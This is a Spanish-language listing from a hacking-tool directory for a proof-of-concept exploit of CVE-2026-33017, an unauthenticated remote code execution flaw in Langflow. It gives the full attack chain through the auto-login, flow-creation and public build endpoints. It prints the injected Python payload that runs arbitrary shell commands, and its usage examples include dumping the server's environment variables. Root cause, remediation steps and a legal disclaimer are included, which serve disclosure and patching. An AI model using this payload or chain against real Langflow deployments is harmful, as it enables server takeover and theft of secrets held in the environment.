Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33017-langflow-rce — Prueba de concepto para CVE-2026-33017, que demuestra la ejecución remota de código no autenticada en versiones vulnerables de Langflow mediante la inyección maliciosa de código en CustomComponent. | Kitploit
Herramientas/GitHubGitHub/arensballiu/cve-2026-33017-langflow-rce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubarensballiu/cve-2026-33017-langflow-rce

CVE-2026-33017-langflow-rce

Prueba de concepto para CVE-2026-33017, que demuestra la ejecución remota de código no autenticada en versiones vulnerables de Langflow mediante la inyección maliciosa de código en CustomComponent.

Ver Repositorio
59hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-33017 - Ejecución remota de código no autenticada en Langflow (RCE)

Descripción general

ID de CVE: CVE-2026-33017
Software afectado: Langflow Versiones vulnerables: <= 1.8.2 Versión corregida: >= 1.9.0 Gravedad: Crítica
Autor: arensballiu
Fecha: 2026

Descripción

Langflow expone un endpoint público de compilación de flujos (/api/v1/build_public_tmp/{flowID}/flow) que acepta bloques de código CustomComponent arbitrarios y los ejecuta en el lado del servidor sin autenticación. Al inyectar una carga útil maliciosa de Python en el campo code de un nodo CustomComponent, un atacante no autenticado puede ejecutar comandos arbitrarios del sistema operativo con los privilegios del proceso del servidor de Langflow.

La cadena de ataque primero abusa del endpoint /api/v1/auto_login, que emite un token de portador sin requerir credenciales cuando Langflow se ejecuta en su configuración predeterminada de inicio de sesión automático. Luego utiliza ese token para crear un flujo público temporal y desencadenar la ejecución de código en el lado del servidor a través del endpoint de compilación.

Se incluye un archivo docker que crea una instancia docker con langflow instalado y en ejecución.

Endpoints afectados

EndpointMétodoAutenticación requeridaPropósito
/api/v1/auto_loginGETNoObtener token de portador (el inicio de sesión automático debe estar habilitado)
/api/v1/flows/POSTSí (Bearer)Crear un nuevo flujo
/api/v1/build_public_tmp/{flowID}/flowPOSTNo (público)Desencadenar la compilación - punto de ejecución vulnerable
/api/v1/flows/{flowID}DELETESí (Bearer)Limpiar el flujo creado

Prueba de concepto

Archivo: CVE-2026-33017_POC.py

Requisitos

  • Python 3.x
  • Biblioteca requests
  • Acceso de red a una instancia de Langflow en ejecución con el inicio de sesión automático habilitado
pip install requests

Uso

python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

Argumentos

FlagForma largaObligatorioDescripción
-u--urlSíURL base de la instancia de Langflow
-c--commandSíComando del sistema operativo a ejecutar en el servidor
-d--deleteNoEliminar el flujo creado después de la explotación

Ejemplos

Verificar la ejecución de código:

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

Recuperar variables de entorno del servidor:

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

Mantén el flujo activo después de la explotación (omite la limpieza):

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

Resultado esperado

[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

Desglose del payload

El exploit inyecta el siguiente fragmento de Python en el campo code de un nodo CustomComponent:

from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) - importa dinámicamente el módulo os y ejecuta en el servidor el comando de shell proporcionado por el atacante.
  • El resto de la definición de la clase es un CustomComponent válido, necesario para satisfacer el cargador de componentes de Langflow sin generar un error de análisis.
  • El flujo se crea como PUBLIC y se invoca el endpoint de compilación en su endpoint público, lo que significa que no se requiere cookie de sesión ni token de autenticación para desencadenar la ejecución.

Causa raíz

El sistema CustomComponent de Langflow permite enviar código Python arbitrario como parte de la definición de un flujo. El endpoint /api/v1/build_public_tmp/{flowID}/flow compila y evalúa parcialmente este código en el lado del servidor, incluidas las sentencias a nivel de módulo, sin sandboxing ni restricción del acceso a los built-ins de Python como __import__.

Resumen de la cadena de ataque

1. GET /api/v1/auto_login          →  Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/             →  Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/  →  Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id}       →  Clean up (optional)

Todos los cuatro pasos pueden ser ejecutados por un atacante anónimo contra una implementación predeterminada de Langflow.

Remediación

  • Actualizar Langflow a la versión 1.9.0 o superior.
  • Deshabilitar el inicio de sesión automático (LANGFLOW_AUTO_LOGIN=false) en cualquier implementación expuesta a internet.

Descargo de responsabilidad

Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El uso de este script contra sistemas sin permiso escrito explícito es ilegal y poco ético. El autor y los colaboradores no asumen ninguna responsabilidad por el uso indebido.

Descargar herramienta